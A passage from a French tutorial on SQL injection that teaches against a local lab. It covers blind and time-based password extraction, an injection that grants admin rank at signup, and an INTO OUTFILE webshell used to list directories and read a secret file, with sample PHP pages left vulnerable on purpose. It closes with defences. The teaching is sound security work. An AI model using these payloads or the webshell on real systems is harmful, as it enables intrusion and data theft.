http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) > 2

```sql
SELECT id, username
FROM users
WHERE id = -1
UNION
SELECT 1,2
FROM users
WHERE id = 1 AND CHAR_LENGTH(password) > 2
```

La page nous affiche « Utilisateur existant. » ce qui, comme je vous le rappelle, correspond à un oui, donc on peut déduire que le mot de passe fait plus de 2 caractères. ;-)
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) < 5

Même chose, il fait donc strictement plus de 2 caractères et strictement moins de 5 caractères : en bref, il fait soit 3 ou 4 caractères.
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) = 3

```sql
SELECT id, username
FROM users
WHERE id = -1
UNION
SELECT 1,2
FROM users
WHERE id = 1 AND CHAR_LENGTH(password) = 3
```

« Utilisateur inexistant. » donc il ne fait pas 3 caractères, ce qui ne nous laisse plus qu'une seule possibilité que nous allons vérifier par la requête suivante.
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND CHAR_LENGTH(password) = 4

« Utilisateur existant. » : notre mot de passe fait 4 caractères !

3.1.0.2. Jouons aux devinettes

L'opérateur LIKE va nous être très utile mais ce n'est, bien sûr, pas la seule façon de procéder, on peut aussi par exemple se servir de SUBSTR pour ne prendre que le caractère qui nous intéresse et ainsi pouvoir comparer caractère par caractère. Mais LIKE a le gros avantage de nous permette l'utilisation du joker `%` qui remplace n'importe quelle chaîne de caractères.
Par exemple

- `ab%` voudrait dire : « Une chaîne de caractères commençant par ab. ».
- `%ab` signifierait par contre « Une chaîne de caractères finissant par ab. ».
- `%ab%` : « Une chaîne de caractères contenant ab. ».

Comme la requête est échappée, nous introduirons notre chaîne sous forme hexadécimale (ou via des fonctions comme CHAR).
Nous commençons par la première lettre (`a` en notation hexadécimale équivaut à `0x61` et `%` à `0x25`).
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x6125

```
1 SELECT id, username
2 FROM users
3 WHERE id = -1
4 UNION
5 SELECT 1,2
6 FROM users
7 WHERE id = 1 AND password LIKE 0x6125
```

« Utilisateur inexistant. » : on en conclut donc que la première lettre n'est pas `a`.
Puis, nous testons la lettre `b`.
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x6225

Et ainsi de suite, on ne va pas faire tout l'alphabet mais j'imagine que vous avez compris le principe. ;-)
Nous arrivons donc à la lettre `t` (`0x74` en hexadécimal).
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x7425

Ah ! « Utilisateur existant. », ce qui veut dire... que notre mot de passe commence par `t` (rappel : le mot de passe de l'admin est « truc » – oui, j'ai été très inspiré).
Et zou, nous recommençons avec la deuxième lettre. Nous testons donc `ta`, puis `tb`, puis `tc` etc etc, et, logiquement, nous arrivons à `tr`.
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x747225

```
SELECT id, username
FROM users
WHERE id = -1
UNION
SELECT 1,2
FROM users
WHERE id = 1 AND password LIKE 0x747225
```

Bingo ! Nous avons trouvé notre deuxième lettre.
On recommence la même chose pour la troisième lettre (sans oublier le `%` juste après) : `tra`, `trb`, `trc`, `trd`... `tru`.
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x74727525

Plus qu'une ! Vu que c'est la dernière, nous pouvons enlever le `%` (qui, pour rappel, correspond au `25` à la fin) c'est à dire que là nous ne disons plus : « si la chaîne commence par » mais « si la chaîne est ».
Et c'est reparti pour un dernier tour de piste.
`trua`, `trub`... et finalement :
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1 AND password LIKE 0x74727563

Ça y est, nous avons enfin notre mot de passe : `truc` !
Comme vous le voyez, cela nous a pris un peu plus de requêtes pour le découvrir :

- Pour la première lettre : 20 requêtes.
- Pour la seconde lettre : 21 requêtes.
- Pour la troisième lettre : 19 requêtes.
- Pour la quatrième lettre : 3 requêtes.

Au total, pour un seul mot de 4 caractères et en supposant que celui ci n'est composé que de lettres et que ces dernières ne sont pas sensibles à la case, il nous a fallu tout de même 53 requêtes. Il y a sûrement des moyens de recherche plus efficaces, mais celui-ci est simple à comprendre. Et ça, c'est uniquement pour la recherche d'un seul champ ! Car il faut faire de même pour trouver les tables, les champs de ces tables (pour rappel, nous avons facilité les choses en supposant que nous connaissions ces informations là, mais en pratique ce n'est pas le cas) et si vous avez 10.000 enregistrements, 5 champs intéressants, cela vous fait 50.000 champs à devoir parcourir et tester, et ce, lettre par lettre. Ça va en faire un paquet, de requêtes.
Vous comprenez aisément pourquoi il vaudrait mieux se coder un programme ou un script qui ferait ces tests à notre place, mais aussi pourquoi ce type de type d'injection prend plus de temps que celles que nous avons rencontrées jusqu'à présent. Malgré tout, elles n'en restent pas moins exploitables. ;-)

Les injections SQL en aveugle sont assez courantes, demandent plus de temps (et de requêtes) mais sont toutes aussi exploitables que celles que nous avons vues précédemment.
Mais il y a encore plus difficile : que diriez vous d'une injection qui est exploitable, mais qui n'affiche aucun résultat, ou plutôt n'affiche absolument rien de visible qui permette de savoir si elle a renvoyé un enregistrement ou pas ?
Eh bien, c'est justement le prochain type d'injection SQL que nous allons aborder dans la partie suivante : les Total Blind SQL Injection.

4. Total Blind SQL Injection

Cette fois-ci, les choses vont se corser un peu plus.
Une « Total Blind SQL Injection », c'est une injection qui renvoie un résultat mais où ce dernier n'est pas affiché et où vous êtes donc incapable, visuellement, de savoir si oui ou non la requête a renvoyé un résultat (ce qui ne veut pas dire qu'elle n'a forcément rien renvoyé pour autant. Vous me suivez toujours ?).
Pourtant, l'exploitation n'est absolument pas impossible. Il y a juste que nous ne pouvons plus nous baser sur un retour visuel (une phrase ou un mot qui change, une image qui est affichée dans un cas et pas dans l'autre etc). Il existe cependant une autre mesure, non visible, que l'on peut « calculer ».
...
Vous n'avez toujours pas trouvé ?
Bon je vais vous aider : un autre nom de la « Total Blind SQL Injection », c'est... « **TIME** Based SQL Injection ».
Le temps ! Voilà ce qui va nous permettre de déterminer si la requête a renvoyé, ou non, un résultat.
Comme d'habitude voici le code source de l'exemple que nous allons utiliser.

```php
<?php
    // code source de time.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['id']))
            {
```

```
22                  $id = mysqli_real_escape_string($db, $_GET['id']);
23                  $query =
                        "SELECT id, username FROM users WHERE id = ".$id;
24                  $rs_article = mysqli_query($db, $query);
25              }
26          ?>
27      </body>
28  </html>
```

Listing 4 – Contenu de `time.php`

Bon ok, ce code ne veut pas dire grand chose et ne fait, au final, rien du tout mais c'est pour illustrer cet exercice. ;-)
Lançons nous dans l'exploitation une fois de plus !

4.1. Exploitation

Tentons d'effectuer quelques tests :
http ://localhost/zds/injections_sql/time.php ?id=1 AND 1=1

```
1  SELECT id, username FROM users WHERE id = 1 AND 1=1
```

Et maintenant une requête où la condition n'est pas vérifiée (car 1 n'est pas égal à 2).
http ://localhost/zds/injections_sql/time.php ?id=1 AND 1=2

```
1  SELECT id, username FROM users WHERE id = 1 AND 1=2
```

Absolument aucune différence (en apparence) et pourtant la première requête a bel et bien renvoyé un résultat.
Pour parvenir à différencier cela, nous allons utiliser **le temps**. Plus précisément nous allons *demander volontairement à la requête d'attendre quelques secondes* si elle a un résultat à envoyer. De cette façon, nous pourrons facilement différencier le « oui » du « non ». ;-)
Nous allons utiliser la fonction SLEEP de MySQL qui permet comme son nom l'indique de faire "dormir" notre SGBD durant X secondes. Nous utiliserons également ce que l'on appelle une sous-requête : c'est une requête qui sera exécutée avant notre requête principale. C'est dans cette sous-requête que nous ferons notre injection. Il y a d'autres possibilités (en utilisant une condition `IF()` par exemple) mais la sous-requête est un exemple assez simple à comprendre.
Voici à quoi va ressembler notre injection.
http ://localhost/zds/injections_sql/time.php ?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=2)

```
1  SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3)
       FROM users WHERE id=1 AND 1=2)
```

Ce qui nous intéresse surtout ici, c'est notre sous-requête qui dit ceci : « Patiente 3 secondes SI 1 est égal 2 ». Comme 1 n'est pas égal à 2, la sous-requête n'attend pas et le tout s'exécute **directement**. Mais si la condition est juste, la sous-requête va patienter 3 secondes avant de renvoyer son résultat, qui n'est en fait rien du tout dans notre cas, mais ce n'est pas tellement le résultat renvoyé qui nous importe (puisque de toute façon, nous ne le voyons pas), mais bien le temps de réponse.
Vérifions tout de suite notre théorie et remplaçons la condition 1=2 par 1=1.
http ://localhost/zds/injections_sql/time.php ?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND 1=1)

```
SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3)
    FROM users WHERE id=1 AND 1=1)
```

Avez vous remarqué que votre navigateur a mis bien plus de temps à charger la page ? Oui, c'est bien à cause du SLEEP ! La condition étant vraie cette fois ci, la requête a patienté volontairement environ 3 secondes avant de renvoyer son résultat. C'est grâce à ce temps de « latence volontaire » que nous pouvons déterminer si la condition est vérifiée ou non !
Le reste est identique à la Blind SQL Injection c'est à dire que nous allons tester avec un LIKE « Est ce que le mot de passe commence par a ? », « Est ce que le mot de passe commence par b ? » etc. La seule grosse différence est la manière dont nous déterminons le résultat de la requête : dans l'exemple précédent, c'était sur base d'une chaîne de caractères qui était différente si la requête renvoyait ou non un résultat alors qu'ici nous nous basons sur le temps de réponse de la requête (allongé volontairement si la condition est vérifiée) et non sur le résultat renvoyé. ;-)
Ce qui donnerait finalement quelque chose comme ceci.
http ://localhost/zds/injections_sql/time.php ?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x6125)

```
SELECT id, username FROM users WHERE id = -1 OR (SELECT SLEEP(3)
    FROM users WHERE id=1 AND password LIKE 0x6125)
```

Le premier caractère de notre mot de passe est `t` (`0x74` en hexadécimal), testons pour voir si notre navigateur va réellement mettre plus de temps à recevoir la réponse.
http ://localhost/zds/injections_sql/time.php ?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x7425)
C'est effectivement le cas : on sait par conséquent que le premier caractère est `t`.
Testons avec un autre caractère afin de voir la différence de temps.
http ://localhost/zds/injections_sql/time.php ?id=-1 OR (SELECT SLEEP(3) FROM users WHERE id=1 AND password LIKE 0x7525)
Logiquement, vous devriez « percevoir » la différence de temps entre les deux exemples.
Il suffit de procéder de la même manière pour les autres caractères. ;-)

Comme nous avons pu le voir, les injections SQL ne sont pas toujours aussi visibles que cela, ce n'est pas pour autant qu'elles sont inexploitables.

Troisième partie

Il n’y a pas que la sélection dans la vie !

Dans les précédents chapitres, nous avons principalement tenté d'afficher des informations de la base de données. Cependant, ce n'est pas la seule opération réalisable. En plus de la sélection, il y a aussi l'insertion, la modification et la suppression.

5. Détournement d'un formulaire d'inscription

Dans cet exemple, nous allons voir comment une injection SQL peut nous permettre de détourner un formulaire d'inscription (donc une insertion de données) afin d'obtenir des droits que nous n'aurions normalement pas dû avoir.
Comme d'habitude, voici le code PHP que nous utiliserons pour cet exercice.

```php
<?php
    // code source de connexion.php
    $host = "localhost";
    $user_mysql = "root";    // nom d'utilisateur de l'utilisateur de MySQL
    $password_mysql = "";    // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);

    if(!$db)
    {
        echo "Echec de la connexion\n";
        exit();
    }

    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE>
<html>
    <head>
        <title></title>
        <style>
            input
            {
                display: block;
            }
        </style>
    </head>
    <body>
        <h1>Inscription</h1>

```

```
33          <?php
34          if(!empty($_GET['username']) && !empty($_GET['password']))
35          {
36              $username = $_GET['username'];
37              $password = $_GET['password'];
38
39              $query =
                    "SELECT username FROM users WHERE username = '".$username."'";
40              $rs = mysqli_query($db, $query);
41
42              if(mysqli_num_rows($rs) >= 1)
43              {
44                  echo "Ce pseudo est déjà utilisé.\n";
45              }
46              else
47              {
48                  mysqli_query($db,
                        "INSERT INTO users (username, password, rank) VALUES ('".$u
49              }
50
51              mysqli_free_result($rs);
52              mysqli_close($db);
53          }
54          ?>
55
56          <form action="inscription.php" method="GET">
57              <b>Pseudo :</b> <input type="text" name="username"/>
58              <b>Mot de passe :</b> <input type="text"
                    name="password" />
59              <input type="submit" value="S'inscrire" />
60          </form>
61      </body>
62  </html>
```

Listing 5 – Contenu de `connexion.php`

5.1. Exploitation

http ://localhost/zds/injections_sql/inscription.php
Il s'agit d'un simple formulaire d'inscription. L'utilisateur entre un nom d'utilisateur et un mot de passe. Si ce pseudo n'est pas déjà utilisé, alors on l'inscrit dans la base de données. Vous pouvez remarquez qu'il y a, à la fin de la requête d'insertion, la valeur 2. Il s'agit en fait ici du rang de l'utilisateur : 1 pour les administrateurs, 2 pour les simples utilisateurs.
Voici les utilisateurs actuellement présents dans la table users.

Comme vous pouvez le constater, seul l'utilisateur **admin** a le rang d'administrateur.
Testons ce formulaire de façon « normale ».
http ://localhost/zds/injections_sql/inscription.php ?username=test&password=test
Voyons ensuite si notre utilisateur a bien été ajouté.

C'est bien le cas, et il a effectivement le rang 2 (simple utilisateur).
Maintenant, nous allons de nouveau nous inscrire mais, cette fois-ci, avec le rang 1 (c'est-à-dire le rang d'administrateur). C'est ici que notre injection SQL va rentrer en jeu. ;-)
Si vous ne l'avez pas remarqué, le nom d'utilisateur n'est pas échappé. Cette erreur va nous permettre de fermer la chaîne et de continuer la requête. Nous allons donc introduire un nom d'utilisateur, fermer la chaîne, introduire le mot de passe et pour finir – et c'est surtout cette partie là qui nous intéresse – le rang. Il ne faudra pas non plus oublier notre petit commentaire afin d'ignorer ce qui resterait de la requête initiale.
http ://localhost/zds/injections_sql/inscription.php ?username=john', 'doe', 1)%23&password=test
Pour rappel, ce qui suit le `#` (encodé en `%23` **dans l'url**) est ignoré.
Vous obtiendrez probablement des erreurs : c'est normal, c'est la requête qui vérifie si le pseudo est présent dans la base de données ou non qui plante à cause de notre injection.
Voici la requête d'insertion complète.

```
INSERT INTO users (username, password, rank) VALUES ('john', 'doe',
    1)#', 'test', 2)
```

Regardons notre liste des utilisateurs.

Gagné !

Comme nous venons de le voir, les injections SQL ne se limitent pas à la sélection de données. Les autres opérations (insertion, modification, suppression) sont tout aussi vulnérables.

Quatrième partie

Du SQL pour sortir de la base de données !

Notre but, dans les chapitres précédents, était d'extirper des données provenant de la base de données. Dans ce chapitre, nous allons, au contraire, chercher à sortir de cette base de données. ;-)

6. Écriture/Lecture d'un fichier

Les injections SQL permettent principalement de manipuler la base de données mais peuvent parfois servir de portes d'entrées dérobées (*backdoor* en anglais). C'est ce que nous allons examiner dans cette partie. ;-)
Comme d'habitude voici le code qui nous permettra d'illustrer cet exemple.

```
<?php
    // code source de article.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['article']))
            {
                $article = $_GET['article'];
                $query =
                    "SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/
                $rs_article = mysqli_query($db, $query);

                if(mysqli_num_rows($rs_article) == 1)
                {
                    $r = mysqli_fetch_assoc($rs_article);

                    echo "<h1>".$r['title']."</h1>\n";
                    echo
                        "<span>dans <a href=\"#\">".$r['title_category']."</a>

```

```
33                      echo "<p>".$r['content']."</p>";
34                  }
35              }
36          ?>
37      </body>
38  </html>
```

Listing 6 – Contenu de `article.php` – notez le `s` manquant

Bon, voici la situation : vous avez repéré une faille de sécurité, de type injection SQL, sur le site de votre ami John. Ceci dit, ce dernier rétorque qu'il s'en fout parce qu'il n'y a aucune donnée sensible dans sa base de données, ce qui est exact (nous omettrons la table users dans cet exercice : il y a simplement des articles liés à une catégorie donc, non, rien de vraiment très intéressant).
Nous savons par contre que John utilise un dossier, dont nous ignorons le nom, sur le même espace d'hébergement pour stocker des fichiers sensibles qu'il ne voudrait pas perdre.
Vous avez remarqué un détail important : l'utilisateur de la base de données, que le site de John utilise, possède les droits sur les opérations sur les fichiers. Là un grand sourire démoniaque se forme sur votre visage !
Vous lui dites qu'il commet une grave erreur de ne pas boucher ce trou et vous terminez par un « *Je reviendrai... t'en apporter la preuve* ».
Bref, votre mission, si vous l'acceptez, sera d'afficher le contenu de ce fichier et c'est ce que nous allons faire tout de suite, de 2 façons différentes !
La structure se présente comme ceci.

Au même niveau que le dossier `injections_sql` se trouve un autre dossier `dossier_secret`. Celui-ci contient un fichier nommé top_secret.txt (mais tout ça, dans la vraie vie, un pirate l'ignore).
Bon, tout est prêt, alors lançons nous !

6.1. Exploitation

6.1.0.1. Écriture dans un fichier

Voici ce que nous allons tenter de faire : injecter un webshell afin de pouvoir lancer des commandes sur le serveur (attention, si vous êtes sous Windows, les commandes ne fonctionneront probablement pas vu que je suis sous une distribution Linux). Ainsi nous pourrons nous promener dans l'arborescence, lister les fichiers, mais surtout, afficher leur contenu, et tout ceci à partir de notre navigateur. ;-)
SQL permet d'écrire le résultat d'une sélection dans un fichier : nous utiliserons OUTFILE pour cela.
Alors vous vous demandez probablement « *Comment allons-nous créer cette backdoor ?* ».

Comme indiqué dans la partie précédente, le SQL permet de sélectionner des valeurs qu'on peut désigner par un nom de champ, un nombre ou une chaîne de caractères : c'est par ce biais que nous allons injecter notre code car oui nous allons lui demander de sélectionner... du code !
Le seul problème, c'est qu'il faut fournir un lien et nous ne savons pas spécialement où se trouve notre fichier (et encore moins les fichiers qui pourraient être sensibles). Mais dans notre exemple, nous allons voir que notre site est un petit peu trop bavard et que cet excès va grandement nous servir.
En effet, je ne sais pas si vous avez remarqué ce qu'il se passe lorsque l'on fait planter une requête : un message d'erreur apparaît et précise **le chemin absolu** du fichier concerné.
Oups...
La preuve avec un ORDER BY qui trie sur un champ inexistant :
http ://localhost/zds/injections_sql/article.php ?article=1 ORDER BY 100

```
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y')
    AS date, content, categories.title AS title_category
FROM articles
INNER JOIN categories ON articles.category_id = categories.id
WHERE articles.id = 1
ORDER BY 100
```

http://zestedesavoir.com/media/galleries/2661/

Le voilà, l'emplacement de notre fichier actuel !
Nous donc allons tenter d'écrire dans `/var/www/html/zds/injections_sql/` (à adapter si vous avez une autre arborescence).
Le code de notre backdoor sera assez simple : il exécutera simplement la commande qu'on lui passera en paramètre via l'URL.

```
<?php
    if(!empty($_GET["cmd"]))
    {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
```

Bon il est temps de passer à notre injection !
http ://localhost/zds/injections_sql/article.php ?article=-1 UNION SELECT null,'<?php if(!empty($_GET"cmd")) echo "<pre>".shell_exec($_GET"cmd").”</pre>”; ?>',null,null,null INTO OUTFILE '/var/www/html/zds/injections_sql/backdoor.php'

```
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y')
    AS date, content, categories.title AS title_category
FROM articles
INNER JOIN categories ON articles.category_id = categories.id
WHERE articles.id = -1
UNION
SELECT
    null,'<?php if(!empty($_GET["cmd"])){ echo "<pre>".shell_exec($_GET["cmd"]]
INTO OUTFILE '/var/www/html/zds/injections_sql/backdoor.php'
```

Vérifions si le fichier a bien été créé en y accédant.
http ://localhost/zds/injections_sql/backdoor.php
Et la preuve en image :

BINGO, voici notre backdoor ! J'en connais un qui va s'en mordre les doigts, de ne pas avoir voulu boucher ce trou !
Listons les fichiers présent dans le dossier actuel.
[http ://localhost/zds/injections_sql/backdoor.php ?cmd=ls%20-lA](http ://localhost/zds/injections_sql/backdoor.php ?cmd=ls -lA)

Nous pouvons d'ailleurs remarquer que backdoor.php appartient bien à l'utilisateur mysql.

Remontons au dossier parent et listons les fichiers/dossiers présents.
http ://localhost/zds/injections_sql/backdoor.php ?cmd=cd ../ ; ls -lA

Le dossier dossier_secret nous semble intéressant, voyons son contenu.
http ://localhost/zds/injections_sql/backdoor.php ?cmd=cd ../dossier_secret ; ls -lA

Oh mais qui voilà : notre fichier top secret « logiquement » inaccessible...
Portons le coup final !
http ://localhost/zds/injections_sql/backdoor.php ?cmd=cat ../dossier_secret/top_secret.txt

Mission accomplie !
Ce type d'exploitation est redoutable vu les possibilités qu'elle offre cependant elle possédé quelques inconvénients majeurs :

- il faut que l'utilisateur de la base de données possède les droits sur FILE, ce qui n'est souvent pas le cas sauf si il y a un réel besoin
- il faut également que le dossier cible soit accessible en écriture au SGBD (car c'est bien lui qui va créer le fichier donc ce sont bien ses droits qui seront d'application) sinon la création sera refusée. Un bypass potentiel est de profiter d'une faille de type include afin d'inclure un fichier qui sera créé dans un dossier où tout le monde peut écrire (par exemple le dossier tmp qui se trouve la racine du serveur. Ce dernier est généralement accessible en lecture/écriture à tout le monde).
- le chemin doit être indiqué entre guillemets et le contournement habituel en utilisant des fonctions comme CHAR() ou l'encodage en hexadécimal ne fonctionne pas.

Ceci dit, il y a une autre méthode, que nous allons aborder tout de suite, mais celle que nous venons de voir vous permet de comprendre que, dans certains cas, le SQL peut aller plus loin que la base de données et peut être une porte ouverte vers le contenu de votre serveur donc même si l'injection vous parait anodine, ne l'ignorez pas et corrigez-la au plus vite. ;-)
Bref, si on peut écrire dans un fichier j'imagine que vous vous doutez qu'on peut alors également **lire** un fichier.

6.1.0.2. Lecture d'un fichier

La fonction LOAD_FILE de MySQL permet la lecture d'un fichier ou plutôt le contenu du fichier sera importé dans le champ. La seule contrainte est que, comme pour l'écriture de fichier, l'utilisateur doit avoir les droits sur FILE et bien sûr il faut que le fichier cible puisse être lu par MySQL.
Un avantage par contre, c'est que l'encodage pour contourner l'échappement fonctionne, nous allons d'ailleurs l'utiliser.
Testons avec le fichier secret de notre ami John dont le lien est, dans mon cas, le suivant : `/var/www/html/zds/dossier_secret/top_secret.txt`

Si nous l'encodons en chaîne hexadécimale, ça nous donne ceci : 0x2f7661722f7777772f68746d6c2f7a64732f646f7373696572f7365637265742f746f705f736563 [http ://localhost/zds/injections_sql/article.php ?article=-1 UNION SELECT null,LOAD_FILE(0x2f7661722f7777772f68746d6c2f7a64732f646f7373696572f7365637265742f746f705f73656 calhost/zds/injections_sql/article.php ?article=-1 UNION SELECT null,LOAD_FILE(0x2f7661722f7777772f68746d6c2f7a64732f646f7373696572f7365637265742f746f705f73656

```
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y')
    AS date, content, categories.title AS title_category
FROM articles
INNER JOIN categories ON articles.category_id = categories.id
WHERE articles.id = -1
UNION
SELECT
    null,LOAD_FILE(0x2f7661722f7777772f68746d6c2f7a64732f646f7373696572f73656
```

http://zestedesavoir.com/media/galleries/2661/

Nous avons bien le contenu du fichier, ça fonctionne parfaitement !

6.2. Sécurisation

Pour l'injection, même chose que pour les chapitres précédents.
Il est aussi judicieux de désactiver les messages d'erreur, car, comme nous l'avons vu, ceux-ci sont généralement un peu trop bavards. Heureusement, les hébergeurs le font par défaut.
Si vous souhaitez désactiver complétement, pour tous les sites présents sur le serveur, l'affichage des messages d'erreur, il vous faut configurer cette ligne du fichier php.ini.

```
display_errors = Off
```

Si vous n'avez pas accès au php.ini, vous pouvez tenter d'ajouter ceci dans un .htaccess.

```
php_flag display_errors off
```

Si par contre vous souhaitez désactiver l'affichage des erreurs mais uniquement pour une page, vous pouvez placer cette ligne en début de votre fichier PHP (ça peut avoir son utilité si, par exemple, vous prévoyez un mode DEBUG : ça vous évite de devoir jouer avec le php.ini et de relancer le serveur).

```
<?php
ini_set('display_errors', 'Off');
```

Cette démonstration montre bien que les injections SQL ne sont pas toujours limitées à faire des dégâts dans la base de données, et que, même si ce qui se trouve dans cette base paraît tout à fait anodin, ce qui est sur le serveur l'est souvent beaucoup moins.
Malgré tout, ce type d'injection reste fortement dépendant de la configuration et des droits d'accès, autant au niveau du SGBD que du serveur. Elles sont par conséquent certainement plus rarement rencontrées, mais il faut être conscient qu'elles existent et peuvent permettre ce genre de choses.

Comme nous avons pu le voir à travers ces différents exemples, les injections SQL sont des failles à prendre au sérieux et qui peuvent faire assez mal.
Elles peuvent malgré tout être assez facilement évitées avec un minimum de bonnes pratiques.
La préparation de requêtes est un excellent moyen de s'en prémunir (je crois que c'est supporté à peu près sur tout les SGBD actuels). Si maintenant vous ne souhaitez pas utiliser ce principe, il existe toujours les bonnes vieilles fonctions d'échappements (comme PDO : :quote()), de vérifications du type de données. Cela change d'un langage à un autre mais ils possèdent généralement tous ce type de fonction.
Évitez par contre les systèmes du genre liste noire de mots-clés, car il suffit de passer à coté d'un cas (par exemple, beaucoup ignorent que le OR peut également s'écrire ||) pour que votre sécurité tombe à l'eau.
La plupart des frameworks web actuels intègrent, de base, des protections contre ces failles : ils y sont pour ainsi dire totalement immunisés (inutile donc de vous acharner sur Zeste de Savoir). Des CMS comme Wordpress sont, généralement, plus à risque dû au fait qu'ils intègrent souvent des plugins tiers dont le code n'a parfois pas été vérifié : si ces plugins ne traitent pas correctement les données provenant de l'utilisateur et que ces données sont utilisées dans une requête, votre site peut alors être vulnérable à ce type d'injection.
En bref, ayez, déjà durant le développement, une optique de sécurité : vérifiez **toujours** ce qui provient de l'utilisateur, même si cela vous parait anodin, car toute donnée provenant de l'utilisateur peut avoir pour but de détourner votre application, ce qui peut avoir de fâcheuses conséquences.